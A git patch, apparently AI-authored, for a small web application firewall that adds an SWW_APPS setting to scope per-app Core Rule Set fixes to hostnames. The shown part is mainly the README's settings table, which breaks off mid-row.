From 22689ad73e74776e3b722aa7b4b705d88de80da3 Mon Sep 17 00:00:00 2001 From: sneak Date: Sat, 7 Nov 2026 12:49:11 +0000 Subject: [PATCH] SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220) Each app's fixes are one .conf file and one entry in apps. They apply only while Inspect has set the app's transaction variable, such as tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only its apps' fixes; while SWW_APPS is unset, every hostname gets every app's fixes. A hostname in SWW_APPS that is not a DNS name, such as *.example.com, stops the start. Unset, SWW_APPS is logged at start as null; set empty, as "". Model: opus-5-5 --- README.md | 281 +++--- SPEC.md | 1019 ++++++++++---------- docs/settings.md | 25 + internal/config/config.go | 93 +- internal/config/config_test.go | 97 ++ internal/coreruleset/coreruleset.go | 225 ++--- internal/coreruleset/coreruleset_test.go | 183 +++- internal/coreruleset/drupal.conf | 11 +- internal/coreruleset/drupal_test.go | 18 +- internal/coreruleset/gitea.conf | 61 +- internal/coreruleset/mastodon.conf | 11 +- internal/coreruleset/mastodon_test.go | 16 +- internal/coreruleset/mediawiki.conf | 15 +- internal/coreruleset/mediawiki_test.go | 44 +- internal/coreruleset/nextcloud.conf | 11 +- internal/coreruleset/nextcloud_test.go | 33 +- internal/coreruleset/vaultwarden.conf | 11 +- internal/coreruleset/vaultwarden_test.go | 19 +- internal/coreruleset/wordpress.conf | 11 +- internal/discriminator/coreruleset_test.go | 23 + internal/discriminator/proxy.go | 4 +- 21 files changed, 1429 insertions(+), 782 deletions(-) diff --git a/README.md b/README.md index de8e2ed..252fac9 100644 --- a/README.md +++ b/README.md @@ -220,123 +220,124 @@ account, a key, a token or an alert destination stays off until you give one. Every setting the code reads, with its default: -| Variable | Default | What it does | -| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. | -| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. | -| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | -| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | -| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | -| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. | -| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | -| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | -| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | -| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | -| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | -| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. | -| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. | -| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | -| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | -| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | -| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. | -| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | -| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. | -| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. | -| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. | -| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. | -| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. | -| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. | -| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | -| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | -| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | -| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. | -| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. | -| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | -| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | -| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. | -| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | -| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | -| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | -| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. | -| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | -| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. | -| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | -| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | -| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. | -| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. | -| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. | -| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. | -| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. | -| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. | -| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | -| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS:` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). | -| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. | -| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. | -| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | -| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | -| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | -| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | -| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | -| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | -| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | -| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | -| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | -| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | -| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:` of every limit, or `log`. | -| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | -| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | -| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | -| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | -| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | -| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | -| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | -| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:` or `log`. | -| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | -| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. | -| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | -| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | -| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. | -| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | -| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | -| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | -| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | -| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | -| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | -| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | -| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | -| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. | -| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | -| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | -| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer `. | -| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | -| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | -| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | -| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | -| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | -| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | -| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | -| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | -| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. | -| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. | -| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | -| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | -| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. | -| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. | -| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. | -| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. | -| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | -| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | -| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. | -| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. | -| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | -| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | -| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. | -| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. | -| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | -| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | -| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | -| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. | -| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. | +| Variable | Default | What it does | +| ---------------------------------------- | ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. | +| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. | +| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | +| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | +| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | +| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. | +| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | +| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | +| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | +| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | +| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | +| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. | +| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. | +| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | +| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | +| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | +| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. | +| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | +| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. | +| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. | +| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. | +| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. | +| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. | +| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. | +| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. | +| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. | +| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | +| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | +| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. | +| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | +| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | +| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | +| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. | +| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | +| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. | +| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | +| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | +| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. | +| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. | +| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. | +| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. | +| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. | +| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. | +| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | +| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS:` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). | +| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. | +| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. | +| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | +| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | +| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | +| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | +| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | +| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | +| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | +| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | +| `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mastodon`, `mediawiki`, `nextcloud`, `vaultwarden` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. | +| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | +| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | +| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:` of every limit, or `log`. | +| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | +| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | +| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | +| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | +| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | +| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | +| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | +| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:` or `log`. | +| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | +| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. | +| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | +| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | +| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. | +| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | +| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | +| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | +| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | +| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | +| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | +| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | +| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | +| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. | +| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | +| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | +| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer `. | +| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | +| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | +| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | +| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | +| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | +| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | +| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | +| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | +| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. | +| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. | +| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | 